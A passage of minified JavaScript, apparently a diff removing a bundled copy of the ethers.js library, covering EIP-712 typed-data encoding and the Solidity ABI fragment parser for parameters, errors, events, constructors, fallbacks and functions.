${JSON.stringify(t2)}`, `domain.${t2}`, e2), e2; - }; - } - var Bc = { name: mc("name"), version: mc("version"), chainId: function(t2) { - const e2 = zn(t2, "domain.chainId"); - return vn(e2 >= 0, "invalid chain ID", "domain.chainId", t2), Number.isSafeInteger(e2) ? Number(e2) : function(t3) { - let e3 = Pn(xn(t3) ? t3 : $n(t3)).substring(2); - for (; e3.startsWith("0"); ) - e3 = e3.substring(1); - return "" === e3 && (e3 = "0"), "0x" + e3; - }(e2); - }, verifyingContract: function(t2) { - try { - return da(t2).toLowerCase(); - } catch (t3) { - } - vn(false, 'invalid domain value "verifyingContract"', "domain.verifyingContract", t2); - }, salt: function(t2) { - const e2 = Sn(t2, "domain.salt"); - return vn(32 === e2.length, 'invalid domain value "salt"', "domain.salt", t2), Pn(e2); - } }; - function Ec(t2) { - { - const e2 = t2.match(/^(u?)int(\d+)$/); - if (e2) { - const r4 = "" === e2[1], n2 = parseInt(e2[2]); - vn(n2 % 8 == 0 && 0 !== n2 && n2 <= 256 && e2[2] === String(n2), "invalid numeric width", "type", t2); - const A2 = jn(pc, r4 ? n2 - 1 : n2), i2 = r4 ? (A2 + fc) * uc : lc; - return function(e3) { - const n3 = zn(e3, "value"); - return vn(n3 >= i2 && n3 <= A2, `value out-of-bounds for ${t2}`, "value", n3), Zn(r4 ? Jn(n3, 256) : n3, 32); - }; - } - } - { - const e2 = t2.match(/^bytes(\d+)$/); - if (e2) { - const r4 = parseInt(e2[1]); - return vn(0 !== r4 && r4 <= 32 && e2[1] === String(r4), "invalid bytes width", "type", t2), function(e3) { - return vn(Sn(e3).length === r4, `invalid length for ${t2}`, "value", e3), function(t3) { - const e4 = Sn(t3), r5 = e4.length % 32; - return r5 ? Tn([e4, gc.slice(r5)]) : Pn(e4); - }(e3); - }; - } - } - switch (t2) { - case "address": - return function(t3) { - return Hn(da(t3), 32); - }; - case "bool": - return function(t3) { - return t3 ? dc : Ic; - }; - case "bytes": - return function(t3) { - return no(t3); - }; - case "string": - return function(t3) { - return Oa(t3); - }; - } - return null; - } - function wc(t2, e2) { - return `${t2}(${e2.map(({ name: t3, type: e3 }) => e3 + " " + t3).join(",")})`; - } - function vc(t2) { - const e2 = t2.match(/^([^\x5b]*)((\x5b\d*\x5d)*)(\x5b(\d*)\x5d)$/); - return e2 ? { base: e2[1], index: e2[2] + e2[4], array: { base: e2[1], prefix: e2[1] + e2[2], count: e2[5] ? parseInt(e2[5]) : -1 } } : { base: t2 }; - } - var _c = class t2 { - primaryType; - #G; - get types() { - return JSON.parse(this.#G); - } - #H; - #L; - constructor(t3) { - this.#H = /* @__PURE__ */ new Map(), this.#L = /* @__PURE__ */ new Map(); - const e2 = /* @__PURE__ */ new Map(), r4 = /* @__PURE__ */ new Map(), n2 = /* @__PURE__ */ new Map(), A2 = {}; - Object.keys(t3).forEach((i3) => { - A2[i3] = t3[i3].map(({ name: e3, type: r5 }) => { - let { base: n3, index: A3 } = vc(r5); - return "int" !== n3 || t3.int || (n3 = "int256"), "uint" !== n3 || t3.uint || (n3 = "uint256"), { name: e3, type: n3 + (A3 || "") }; - }), e2.set(i3, /* @__PURE__ */ new Set()), r4.set(i3, []), n2.set(i3, /* @__PURE__ */ new Set()); - }), this.#G = JSON.stringify(A2); - for (const n3 in A2) { - const i3 = /* @__PURE__ */ new Set(); - for (const o2 of A2[n3]) { - vn(!i3.has(o2.name), `duplicate variable name ${JSON.stringify(o2.name)} in ${JSON.stringify(n3)}`, "types", t3), i3.add(o2.name); - const A3 = vc(o2.type).base; - vn(A3 !== n3, `circular type reference to ${JSON.stringify(A3)}`, "types", t3); - Ec(A3) || (vn(r4.has(A3), `unknown type ${JSON.stringify(A3)}`, "types", t3), r4.get(A3).push(n3), e2.get(n3).add(A3)); - } - } - const i2 = Array.from(r4.keys()).filter((t4) => 0 === r4.get(t4).length); - vn(0 !== i2.length, "missing primary type", "types", t3), vn(1 === i2.length, `ambiguous primary types or unused types: ${i2.map((t4) => JSON.stringify(t4)).join(", ")}`, "types", t3), yn(this, { primaryType: i2[0] }), function A3(i3, o2) { - vn(!o2.has(i3), `circular type reference to ${JSON.stringify(i3)}`, "types", t3), o2.add(i3); - for (const t4 of e2.get(i3)) - if (r4.has(t4)) { - A3(t4, o2); - for (const e3 of o2) - n2.get(e3).add(t4); - } - o2.delete(i3); - }(this.primaryType, /* @__PURE__ */ new Set()); - for (const [t4, e3] of n2) { - const r5 = Array.from(e3); - r5.sort(), this.#H.set(t4, wc(t4, A2[t4]) + r5.map((t5) => wc(t5, A2[t5])).join("")); - } - } - getEncoder(t3) { - let e2 = this.#L.get(t3); - return e2 || (e2 = this.#O(t3), this.#L.set(t3, e2)), e2; - } - #O(t3) { - { - const e3 = Ec(t3); - if (e3) - return e3; - } - const e2 = vc(t3).array; - if (e2) { - const t4 = e2.prefix, r5 = this.getEncoder(t4); - return (n2) => { - vn(-1 === e2.count || e2.count === n2.length, `array length mismatch; expected length ${e2.count}`, "value", n2); - let A2 = n2.map(r5); - return this.#H.has(t4) && (A2 = A2.map(no)), no(Tn(A2)); - }; - } - const r4 = this.types[t3]; - if (r4) { - const e3 = Oa(this.#H.get(t3)); - return (t4) => { - const n2 = r4.map(({ name: e4, type: r5 }) => { - const n3 = this.getEncoder(r5)(t4[e4]); - return this.#H.has(r5) ? no(n3) : n3; - }); - return n2.unshift(e3), Tn(n2); - }; - } - vn(false, `unknown type: ${t3}`, "type", t3); - } - encodeType(t3) { - const e2 = this.#H.get(t3); - return vn(e2, `unknown type: ${JSON.stringify(t3)}`, "name", t3), e2; - } - encodeData(t3, e2) { - return this.getEncoder(t3)(e2); - } - hashStruct(t3, e2) { - return no(this.encodeData(t3, e2)); - } - encode(t3) { - return this.encodeData(this.primaryType, t3); - } - hash(t3) { - return this.hashStruct(this.primaryType, t3); - } - _visit(t3, e2, r4) { - if (Ec(t3)) - return r4(t3, e2); - const n2 = vc(t3).array; - if (n2) - return vn(-1 === n2.count || n2.count === e2.length, `array length mismatch; expected length ${n2.count}`, "value", e2), e2.map((t4) => this._visit(n2.prefix, t4, r4)); - const A2 = this.types[t3]; - if (A2) - return A2.reduce((t4, { name: n3, type: A3 }) => (t4[n3] = this._visit(A3, e2[n3], r4), t4), {}); - vn(false, `unknown type: ${t3}`, "type", t3); - } - visit(t3, e2) { - return this._visit(this.primaryType, t3, e2); - } - static from(e2) { - return new t2(e2); - } - static getPrimaryType(e2) { - return t2.from(e2).primaryType; - } - static hashStruct(e2, r4, n2) { - return t2.from(r4).hashStruct(e2, n2); - } - static hashDomain(e2) { - const r4 = []; - for (const t3 in e2) { - if (null == e2[t3]) - continue; - const n2 = yc[t3]; - vn(n2, `invalid typed-data domain key: ${JSON.stringify(t3)}`, "domain", e2), r4.push({ name: t3, type: n2 }); - } - return r4.sort((t3, e3) => Cc.indexOf(t3.name) - Cc.indexOf(e3.name)), t2.hashStruct("EIP712Domain", { EIP712Domain: r4 }, e2); - } - static encode(e2, r4, n2) { - return Tn(["0x1901", t2.hashDomain(e2), t2.from(r4).hash(n2)]); - } - static hash(e2, r4, n2) { - return no(t2.encode(e2, r4, n2)); - } - static async resolveNames(e2, r4, n2, A2) { - e2 = Object.assign({}, e2); - for (const t3 in e2) - null == e2[t3] && delete e2[t3]; - const i2 = {}; - e2.verifyingContract && !Mn(e2.verifyingContract, 20) && (i2[e2.verifyingContract] = "0x"); - const o2 = t2.from(r4); - o2.visit(n2, (t3, e3) => ("address" !== t3 || Mn(e3, 20) || (i2[e3] = "0x"), e3)); - for (const t3 in i2) - i2[t3] = await A2(t3); - return e2.verifyingContract && i2[e2.verifyingContract] && (e2.verifyingContract = i2[e2.verifyingContract]), { domain: e2, value: n2 = o2.visit(n2, (t3, e3) => "address" === t3 && i2[e3] ? i2[e3] : e3) }; - } - static getPayload(e2, r4, n2) { - t2.hashDomain(e2); - const A2 = {}, i2 = []; - Cc.forEach((t3) => { - const r5 = e2[t3]; - null != r5 && (A2[t3] = Bc[t3](r5), i2.push({ name: t3, type: yc[t3] })); - }); - const o2 = t2.from(r4); - r4 = o2.types; - const s2 = Object.assign({}, r4); - return vn(null == s2.EIP712Domain, "types must not contain EIP712Domain type", "types.EIP712Domain", r4), s2.EIP712Domain = i2, o2.encode(n2), { types: s2, domain: A2, primaryType: o2.primaryType, message: o2.visit(n2, (t3, e3) => { - if (t3.match(/^bytes(\d*)/)) - return Pn(Sn(e3)); - if (t3.match(/^u?int/)) - return zn(e3).toString(); - switch (t3) { - case "address": - return e3.toLowerCase(); - case "bool": - return !!e3; - case "string": - return vn("string" == typeof e3, "invalid string", "value", e3), e3; - } - vn(false, "unsupported type", "type", t3); - }) }; - } - }; - function Qc(t2) { - const e2 = /* @__PURE__ */ new Set(); - return t2.forEach((t3) => e2.add(t3)), Object.freeze(e2); - } - var bc = Qc("external public payable override".split(" ")); - var kc = "constant external internal payable private public pure view override"; - var Dc = Qc(kc.split(" ")); - var Sc = "constructor error event fallback function receive struct"; - var Nc = Qc(Sc.split(" ")); - var Mc = "calldata memory storage payable indexed"; - var xc = Qc(Mc.split(" ")); - var Fc = Qc([Sc, Mc, "tuple returns", kc].join(" ").split(" ")); - var Pc = { "(": "OPEN_PAREN", ")": "CLOSE_PAREN", "[": "OPEN_BRACKET", "]": "CLOSE_BRACKET", ",": "COMMA", "@": "AT" }; - var Tc = new RegExp("^(\\s*)"); - var Rc = new RegExp("^([0-9]+)"); - var Uc = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)"); - var Gc = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)$"); - var Hc = new RegExp("^(address|bool|bytes([0-9]*)|string|u?int([0-9]*))$"); - var Lc = class _Lc { - #f; - #Y; - get offset() { - return this.#f; - } - get length() { - return this.#Y.length - this.#f; - } - constructor(t2) { - this.#f = 0, this.#Y = t2.slice(); - } - clone() { - return new _Lc(this.#Y); - } - reset() { - this.#f = 0; - } - #K(t2 = 0, e2 = 0) { - return new _Lc(this.#Y.slice(t2, e2).map((e3) => Object.freeze(Object.assign({}, e3, { match: e3.match - t2, linkBack: e3.linkBack - t2, linkNext: e3.linkNext - t2 })))); - } - popKeyword(t2) { - const e2 = this.peek(); - if ("KEYWORD" !== e2.type || !t2.has(e2.text)) - throw new Error(`expected keyword ${e2.text}`); - return this.pop().text; - } - popType(t2) { - if (this.peek().type !== t2) { - const e2 = this.peek(); - throw new Error(`expected ${t2}; got ${e2.type} ${JSON.stringify(e2.text)}`); - } - return this.pop().text; - } - popParen() { - const t2 = this.peek(); - if ("OPEN_PAREN" !== t2.type) - throw new Error("bad start"); - const e2 = this.#K(this.#f + 1, t2.match + 1); - return this.#f = t2.match + 1, e2; - } - popParams() { - const t2 = this.peek(); - if ("OPEN_PAREN" !== t2.type) - throw new Error("bad start"); - const e2 = []; - for (; this.#f < t2.match - 1; ) { - const t3 = this.peek().linkNext; - e2.push(this.#K(this.#f + 1, t3)), this.#f = t3; - } - return this.#f = t2.match + 1, e2; - } - peek() { - if (this.#f >= this.#Y.length) - throw new Error("out-of-bounds"); - return this.#Y[this.#f]; - } - peekKeyword(t2) { - const e2 = this.peekType("KEYWORD"); - return null != e2 && t2.has(e2) ? e2 : null; - } - peekType(t2) { - if (0 === this.length) - return null; - const e2 = this.peek(); - return e2.type === t2 ? e2.text : null; - } - pop() { - const t2 = this.peek(); - return this.#f++, t2; - } - toString() { - const t2 = []; - for (let e2 = this.#f; e2 < this.#Y.length; e2++) { - const r4 = this.#Y[e2]; - t2.push(`${r4.type}:${r4.text}`); - } - return ``; - } - }; - function Oc(t2) { - const e2 = [], r4 = (e3) => { - const r5 = i2 < t2.length ? JSON.stringify(t2[i2]) : "$EOI"; - throw new Error(`invalid token ${r5} at ${i2}: ${e3}`); - }; - let n2 = [], A2 = [], i2 = 0; - for (; i2 < t2.length; ) { - let o2 = t2.substring(i2), s2 = o2.match(Tc); - s2 && (i2 += s2[1].length, o2 = t2.substring(i2)); - const a2 = { depth: n2.length, linkBack: -1, linkNext: -1, match: -1, type: "", text: "", offset: i2, value: -1 }; - e2.push(a2); - let c2 = Pc[o2[0]] || ""; - if (c2) { - if (a2.type = c2, a2.text = o2[0], i2++, "OPEN_PAREN" === c2) - n2.push(e2.length - 1), A2.push(e2.length - 1); - else if ("CLOSE_PAREN" == c2) - 0 === n2.length && r4("no matching open bracket"), a2.match = n2.pop(), e2[a2.match].match = e2.length - 1, a2.depth--, a2.linkBack = A2.pop(), e2[a2.linkBack].linkNext = e2.length - 1; - else if ("COMMA" === c2) - a2.linkBack = A2.pop(), e2[a2.linkBack].linkNext = e2.length - 1, A2.push(e2.length - 1); - else if ("OPEN_BRACKET" === c2) - a2.type = "BRACKET"; - else if ("CLOSE_BRACKET" === c2) { - let t3 = e2.pop().text; - if (e2.length > 0 && "NUMBER" === e2[e2.length - 1].type) { - const r5 = e2.pop().text; - t3 = r5 + t3, e2[e2.length - 1].value = Wn(r5); - } - if (0 === e2.length || "BRACKET" !== e2[e2.length - 1].type) - throw new Error("missing opening bracket"); - e2[e2.length - 1].text += t3; - } - } else if (s2 = o2.match(Uc), s2) { - if (a2.text = s2[1], i2 += a2.text.length, Fc.has(a2.text)) { - a2.type = "KEYWORD"; - continue; - } - if (a2.text.match(Hc)) { - a2.type = "TYPE"; - continue; - } - a2.type = "ID"; - } else { - if (s2 = o2.match(Rc), !s2) - throw new Error(`unexpected token ${JSON.stringify(o2[0])} at position ${i2}`); - a2.text = s2[1], a2.type = "NUMBER", i2 += a2.text.length; - } - } - return new Lc(e2.map((t3) => Object.freeze(t3))); - } - function Yc(t2, e2) { - let r4 = []; - for (const n2 in e2.keys()) - t2.has(n2) && r4.push(n2); - if (r4.length > 1) - throw new Error(`conflicting types: ${r4.join(", ")}`); - } - function Kc(t2, e2) { - if (e2.peekKeyword(Nc)) { - const r4 = e2.pop().text; - if (r4 !== t2) - throw new Error(`expected ${t2}, got ${r4}`); - } - return e2.popType("ID"); - } - function Jc(t2, e2) { - const r4 = /* @__PURE__ */ new Set(); - for (; ; ) { - const n2 = t2.peekType("KEYWORD"); - if (null == n2 || e2 && !e2.has(n2)) - break; - if (t2.pop(), r4.has(n2)) - throw new Error(`duplicate keywords: ${JSON.stringify(n2)}`); - r4.add(n2); - } - return Object.freeze(r4); - } - function jc(t2) { - let e2 = Jc(t2, Dc); - return Yc(e2, Qc("constant payable nonpayable".split(" "))), Yc(e2, Qc("pure view payable nonpayable".split(" "))), e2.has("view") ? "view" : e2.has("pure") ? "pure" : e2.has("payable") ? "payable" : e2.has("nonpayable") ? "nonpayable" : e2.has("constant") ? "view" : "nonpayable"; - } - function zc(t2, e2) { - return t2.popParams().map((t3) => sh.from(t3, e2)); - } - function qc(t2) { - if (t2.peekType("AT")) { - if (t2.pop(), t2.peekType("NUMBER")) - return zn(t2.pop().text); - throw new Error("invalid gas"); - } - return null; - } - function Xc(t2) { - if (t2.length) - throw new Error(`unexpected tokens at offset ${t2.offset}: ${t2.toString()}`); - } - var Vc = new RegExp(/^(.*)\[([0-9]*)\]$/); - function Wc(t2) { - const e2 = t2.match(Hc); - if (vn(e2, "invalid type", "type", t2), "uint" === t2) - return "uint256"; - if ("int" === t2) - return "int256"; - if (e2[2]) { - const r4 = parseInt(e2[2]); - vn(0 !== r4 && r4 <= 32, "invalid bytes length", "type", t2); - } else if (e2[3]) { - const r4 = parseInt(e2[3]); - vn(0 !== r4 && r4 <= 256 && r4 % 8 == 0, "invalid numeric width", "type", t2); - } - return t2; - } - var Zc = {}; - var $c = Symbol.for("_ethers_internal"); - var th = "_ParamTypeInternal"; - var eh = "_ErrorInternal"; - var rh = "_EventInternal"; - var nh = "_ConstructorInternal"; - var Ah = "_FallbackInternal"; - var ih = "_FunctionInternal"; - var oh = "_StructInternal"; - var sh = class _sh { - name; - type; - baseType; - indexed; - components; - arrayLength; - arrayChildren; - constructor(t2, e2, r4, n2, A2, i2, o2, s2) { - if (kn(t2, Zc, "ParamType"), Object.defineProperty(this, $c, { value: th }), i2 && (i2 = Object.freeze(i2.slice())), "array" === n2) { - if (null == o2 || null == s2) - throw new Error(""); - } else if (null != o2 || null != s2) - throw new Error(""); - if ("tuple" === n2) { - if (null == i2) - throw new Error(""); - } else if (null != i2) - throw new Error(""); - yn(this, { name: e2, type: r4, baseType: n2, indexed: A2, components: i2, arrayLength: o2, arrayChildren: s2 }); - } - format(t2) { - if (null == t2 && (t2 = "sighash"), "json" === t2) { - const e3 = this.name || ""; - if (this.isArray()) { - const t3 = JSON.parse(this.arrayChildren.format("json")); - return t3.name = e3, t3.type += `[${this.arrayLength < 0 ? "" : String(this.arrayLength)}]`, JSON.stringify(t3); - } - const r4 = { type: "tuple" === this.baseType ? "tuple" : this.type, name: e3 }; - return "boolean" == typeof this.indexed && (r4.indexed = this.indexed), this.isTuple() && (r4.components = this.components.map((e4) => JSON.parse(e4.format(t2)))), JSON.stringify(r4); - } - let e2 = ""; - return this.isArray() ? (e2 += this.arrayChildren.format(t2), e2 += `[${this.arrayLength < 0 ? "" : String(this.arrayLength)}]`) : this.isTuple() ? e2 += "(" + this.components.map((e3) => e3.format(t2)).join("full" === t2 ? ", " : ",") + ")" : e2 += this.type, "sighash" !== t2 && (true === this.indexed && (e2 += " indexed"), "full" === t2 && this.name && (e2 += " " + this.name)), e2; - } - isArray() { - return "array" === this.baseType; - } - isTuple() { - return "tuple" === this.baseType; - } - isIndexable() { - return null != this.indexed; - } - walk(t2, e2) { - if (this.isArray()) { - if (!Array.isArray(t2)) - throw new Error("invalid array value"); - if (-1 !== this.arrayLength && t2.length !== this.arrayLength) - throw new Error("array is wrong length"); - const r4 = this; - return t2.map((t3) => r4.arrayChildren.walk(t3, e2)); - } - if (this.isTuple()) { - if (!Array.isArray(t2)) - throw new Error("invalid tuple value"); - if (t2.length !== this.components.length) - throw new Error("array is wrong length"); - const r4 = this; - return t2.map((t3, n2) => r4.components[n2].walk(t3, e2)); - } - return e2(this.type, t2); - } - #J(t2, e2, r4, n2) { - if (this.isArray()) { - if (!Array.isArray(e2)) - throw new Error("invalid array value"); - if (-1 !== this.arrayLength && e2.length !== this.arrayLength) - throw new Error("array is wrong length"); - const A3 = this.arrayChildren, i2 = e2.slice(); - return i2.forEach((e3, n3) => { - A3.#J(t2, e3, r4, (t3) => { - i2[n3] = t3; - }); - }), void n2(i2); - } - if (this.isTuple()) { - const A3 = this.components; - let i2; - if (Array.isArray(e2)) - i2 = e2.slice(); - else { - if (null == e2 || "object" != typeof e2) - throw new Error("invalid tuple value"); - i2 = A3.map((t3) => { - if (!t3.name) - throw new Error("cannot use object value with unnamed components"); - if (!(t3.name in e2)) - throw new Error(`missing value for component ${t3.name}`); - return e2[t3.name]; - }); - } - if (i2.length !== this.components.length) - throw new Error("array is wrong length"); - return i2.forEach((e3, n3) => { - A3[n3].#J(t2, e3, r4, (t3) => { - i2[n3] = t3; - }); - }), void n2(i2); - } - const A2 = r4(this.type, e2); - A2.then ? t2.push(async function() { - n2(await A2); - }()) : n2(A2); - } - async walkAsync(t2, e2) { - const r4 = [], n2 = [t2]; - return this.#J(r4, t2, e2, (t3) => { - n2[0] = t3; - }), r4.length && await Promise.all(r4), n2[0]; - } - static from(t2, e2) { - if (_sh.isParamType(t2)) - return t2; - if ("string" == typeof t2) - try { - return _sh.from(Oc(t2), e2); - } catch (e3) { - vn(false, "invalid param type", "obj", t2); - } - else if (t2 instanceof Lc) { - let r5 = "", n3 = "", A3 = null; - Jc(t2, Qc(["tuple"])).has("tuple") || t2.peekType("OPEN_PAREN") ? (n3 = "tuple", A3 = t2.popParams().map((t3) => _sh.from(t3)), r5 = `tuple(${A3.map((t3) => t3.format()).join(",")})`) : (r5 = Wc(t2.popType("TYPE")), n3 = r5); - let i3 = null, o2 = null; - for (; t2.length && t2.peekType("BRACKET"); ) { - const e3 = t2.pop(); - i3 = new _sh(Zc, "", r5, n3, null, A3, o2, i3), o2 = e3.value, r5 += e3.text, n3 = "array", A3 = null; - } - let s2 = null; - if (Jc(t2, xc).has("indexed")) { - if (!e2) - throw new Error(""); - s2 = true; - } - const a2 = t2.peekType("ID") ? t2.pop().text : ""; - if (t2.length) - throw new Error("leftover tokens"); - return new _sh(Zc, a2, r5, n3, s2, A3, o2, i3); - } - const r4 = t2.name; - vn(!r4 || "string" == typeof r4 && r4.match(Gc), "invalid name", "obj.name", r4); - let n2 = t2.indexed; - null != n2 && (vn(e2, "parameter cannot be indexed", "obj.indexed", t2.indexed), n2 = !!n2); - let A2 = t2.type, i2 = A2.match(Vc); - if (i2) { - const e3 = parseInt(i2[2] || "-1"), o2 = _sh.from({ type: i2[1], components: t2.components }); - return new _sh(Zc, r4 || "", A2, "array", n2, null, e3, o2); - } - if ("tuple" === A2 || A2.startsWith("tuple(") || A2.startsWith("(")) { - const e3 = null != t2.components ? t2.components.map((t3) => _sh.from(t3)) : null; - return new _sh(Zc, r4 || "", A2, "tuple", n2, e3, null, null); - } - return A2 = Wc(t2.type), new _sh(Zc, r4 || "", A2, A2, n2, null, null, null); - } - static isParamType(t2) { - return t2 && t2[$c] === th; - } - }; - var ah = class _ah { - type; - inputs; - constructor(t2, e2, r4) { - kn(t2, Zc, "Fragment"), yn(this, { type: e2, inputs: r4 = Object.freeze(r4.slice()) }); - } - static from(t2) { - if ("string" == typeof t2) { - try { - _ah.from(JSON.parse(t2)); - } catch (t3) { - } - return _ah.from(Oc(t2)); - } - if (t2 instanceof Lc) { - switch (t2.peekKeyword(Nc)) { - case "constructor": - return lh.from(t2); - case "error": - return gh.from(t2); - case "event": - return uh.from(t2); - case "fallback": - case "receive": - return fh.from(t2); - case "function": - return ph.from(t2); - case "struct": - return dh.from(t2); - } - } else if ("object" == typeof t2) { - switch (t2.type) { - case "constructor": - return lh.from(t2); - case "error": - return gh.from(t2); - case "event": - return uh.from(t2); - case "fallback": - case "receive": - return fh.from(t2); - case "function": - return ph.from(t2); - case "struct": - return dh.from(t2); - } - wn(false, `unsupported type: ${t2.type}`, "UNSUPPORTED_OPERATION", { operation: "Fragment.from" }); - } - vn(false, "unsupported frgament object", "obj", t2); - } - static isConstructor(t2) { - return lh.isFragment(t2); - } - static isError(t2) { - return gh.isFragment(t2); - } - static isEvent(t2) { - return uh.isFragment(t2); - } - static isFunction(t2) { - return ph.isFragment(t2); - } - static isStruct(t2) { - return dh.isFragment(t2); - } - }; - var ch = class extends ah { - name; - constructor(t2, e2, r4, n2) { - super(t2, e2, n2), vn("string" == typeof r4 && r4.match(Gc), "invalid identifier", "name", r4), n2 = Object.freeze(n2.slice()), yn(this, { name: r4 }); - } - }; - function hh(t2, e2) { - return "(" + e2.map((e3) => e3.format(t2)).join("full" === t2 ? ", " : ",") + ")"; - } - var gh = class _gh extends ch { - constructor(t2, e2, r4) { - super(t2, "error", e2, r4), Object.defineProperty(this, $c, { value: eh }); - } - get selector() { - return Oa(this.format("sighash")).substring(0, 10); - } - format(t2) { - if (null == t2 && (t2 = "sighash"), "json" === t2) - return JSON.stringify({ type: "error", name: this.name, inputs: this.inputs.map((e3) => JSON.parse(e3.format(t2))) }); - const e2 = []; - return "sighash" !== t2 && e2.push("error"), e2.push(this.name + hh(t2, this.inputs)), e2.join(" "); - } - static from(t2) { - if (_gh.isFragment(t2)) - return t2; - if ("string" == typeof t2) - return _gh.from(Oc(t2)); - if (t2 instanceof Lc) { - const e2 = Kc("error", t2), r4 = zc(t2); - return Xc(t2), new _gh(Zc, e2, r4); - } - return new _gh(Zc, t2.name, t2.inputs ? t2.inputs.map(sh.from) : []); - } - static isFragment(t2) { - return t2 && t2[$c] === eh; - } - }; - var uh = class _uh extends ch { - anonymous; - constructor(t2, e2, r4, n2) { - super(t2, "event", e2, r4), Object.defineProperty(this, $c, { value: rh }), yn(this, { anonymous: n2 }); - } - get topicHash() { - return Oa(this.format("sighash")); - } - format(t2) { - if (null == t2 && (t2 = "sighash"), "json" === t2) - return JSON.stringify({ type: "event", anonymous: this.anonymous, name: this.name, inputs: this.inputs.map((e3) => JSON.parse(e3.format(t2))) }); - const e2 = []; - return "sighash" !== t2 && e2.push("event"), e2.push(this.name + hh(t2, this.inputs)), "sighash" !== t2 && this.anonymous && e2.push("anonymous"), e2.join(" "); - } - static getTopicHash(t2, e2) { - e2 = (e2 || []).map((t3) => sh.from(t3)); - return new _uh(Zc, t2, e2, false).topicHash; - } - static from(t2) { - if (_uh.isFragment(t2)) - return t2; - if ("string" == typeof t2) - try { - return _uh.from(Oc(t2)); - } catch (e2) { - vn(false, "invalid event fragment", "obj", t2); - } - else if (t2 instanceof Lc) { - const e2 = Kc("event", t2), r4 = zc(t2, true), n2 = !!Jc(t2, Qc(["anonymous"])).has("anonymous"); - return Xc(t2), new _uh(Zc, e2, r4, n2); - } - return new _uh(Zc, t2.name, t2.inputs ? t2.inputs.map((t3) => sh.from(t3, true)) : [], !!t2.anonymous); - } - static isFragment(t2) { - return t2 && t2[$c] === rh; - } - }; - var lh = class _lh extends ah { - payable; - gas; - constructor(t2, e2, r4, n2, A2) { - super(t2, e2, r4), Object.defineProperty(this, $c, { value: nh }), yn(this, { payable: n2, gas: A2 }); - } - format(t2) { - if (wn(null != t2 && "sighash" !== t2, "cannot format a constructor for sighash", "UNSUPPORTED_OPERATION", { operation: "format(sighash)" }), "json" === t2) - return JSON.stringify({ type: "constructor", stateMutability: this.payable ? "payable" : "undefined", payable: this.payable, gas: null != this.gas ? this.gas : void 0, inputs: this.inputs.map((e3) => JSON.parse(e3.format(t2))) }); - const e2 = [`constructor${hh(t2, this.inputs)}`]; - return this.payable && e2.push("payable"), null != this.gas && e2.push(`@${this.gas.toString()}`), e2.join(" "); - } - static from(t2) { - if (_lh.isFragment(t2)) - return t2; - if ("string" == typeof t2) - try { - return _lh.from(Oc(t2)); - } catch (e2) { - vn(false, "invalid constuctor fragment", "obj", t2); - } - else if (t2 instanceof Lc) { - Jc(t2, Qc(["constructor"])); - const e2 = zc(t2), r4 = !!Jc(t2, bc).has("payable"), n2 = qc(t2); - return Xc(t2), new _lh(Zc, "constructor", e2, r4, n2); - } - return new _lh(Zc, "constructor", t2.inputs ? t2.inputs.map(sh.from) : [], !!t2.payable, null != t2.gas ? t2.gas : null); - } - static isFragment(t2) { - return t2 && t2[$c] === nh; - } - }; - var fh = class _fh extends ah { - payable; - constructor(t2, e2, r4) { - super(t2, "fallback", e2), Object.defineProperty(this, $c, { value: Ah }), yn(this, { payable: r4 }); - } - format(t2) { - const e2 = 0 === this.inputs.length ? "receive" : "fallback"; - if ("json" === t2) { - const t3 = this.payable ? "payable" : "nonpayable"; - return JSON.stringify({ type: e2, stateMutability: t3 }); - } - return `${e2}()${this.payable ? " payable" : ""}`; - } - static from(t2) { - if (_fh.isFragment(t2)) - return t2; - if ("string" == typeof t2) - try { - return _fh.from(Oc(t2)); - } catch (e2) { - vn(false, "invalid fallback fragment", "obj", t2); - } - else if (t2 instanceof Lc) { - const e2 = t2.toString(); - vn(t2.peekKeyword(Qc(["fallback", "receive"])), "type must be fallback or receive", "obj", e2); - if ("receive" === t2.popKeyword(Qc(["fallback", "receive"]))) { - const e3 = zc(t2); - return vn(0 === e3.length, "receive cannot have arguments", "obj.inputs", e3), Jc(t2, Qc(["payable"])), Xc(t2), new _fh(Zc, [], true); - } - let r4 = zc(t2); - r4.length ? vn(1 === r4.length && "bytes" === r4[0].type, "invalid fallback inputs", "obj.inputs", r4.map((t3) => t3.format("minimal")).join(", ")) : r4 = [sh.from("bytes")]; - const n2 = jc(t2); - if (vn("nonpayable" === n2 || "payable" === n2, "fallback cannot be constants", "obj.stateMutability", n2), Jc(t2, Qc(["returns"])).has("returns")) { - const e3 = zc(t2); - vn(1 === e3.length && "bytes" === e3[0].type, "invalid fallback outputs", "obj.outputs", e3.map((t3) => t3.format("minimal")).join(", ")); - } - return Xc(t2), new _fh(Zc, r4, "payable" === n2); - } - if ("receive" === t2.type) - return new _fh(Zc, [], true); - if ("fallback" === t2.type) { - const e2 = [sh.from("bytes")], r4 = "payable" === t2.stateMutability; - return new _fh(Zc, e2, r4); - } - vn(false, "invalid fallback description", "obj", t2); - } - static isFragment(t2) { - return t2 && t2[$c] === Ah; - } - }; - var ph = class _ph extends ch { - constant; - outputs; - stateMutability; - payable; - gas; - constructor(t2, e2, r4, n2, A2, i2) { - super(t2, "function", e2, n2), Object.defineProperty(this, $c, { value: ih }); - yn(this, { constant: "view" === r4 || "pure" === r4, gas: i2, outputs: A2 = Object.freeze(A2.slice()), payable: "payable" === r4, stateMutability: r4 }); - } - get selector() { - return Oa(this.format("sighash")).substring(0, 10); - } - format(t2) { - if (null == t2 && (t2 = "sighash"), "json" === t2) - return JSON.stringify({ type: "function", name: this.name, constant: this.constant, stateMutability: "nonpayable" !== this.stateMutability ? this.stateMutability : void 0, payable: this.payable, gas: null != this.gas ? this.gas : void 0, inputs: this.inputs.map((e3) => JSON.parse(e3.format(t2))), outputs: this.outputs.map((e3) => JSON.parse(e3.format(t2))) }); - const e2 = []; - return "sighash" !== t2 && e2.push("function"), e2.push(this.name + hh(t2, this.inputs)), "sighash" !== t2 && ("nonpayable" !== this.stateMutability && e2.push(this.stateMutability), this.outputs && this.outputs.length && (e2.push("returns"), e2.push(hh(t2, this.outputs))), null != this.gas && e2.push(`@${this.gas.toString()}`)), e2.join(" "); - } - static getSelector(t2, e2) { - e2 = (e2 || []).map((t3) => sh.from(t3)); - return new _ph(Zc, t2, "view", e2, [], null).selector; - } - static from(t2) { - if (_ph.isFragment(t2)) - return t2; - if ("string" == typeof t2) - try { - return _ph.from(Oc(t2)); - } catch (e3) { - vn(false, "invalid function fragment", "obj", t2); - } - else if (t2 instanceof Lc) { - const e3 = Kc("function", t2), r4 = 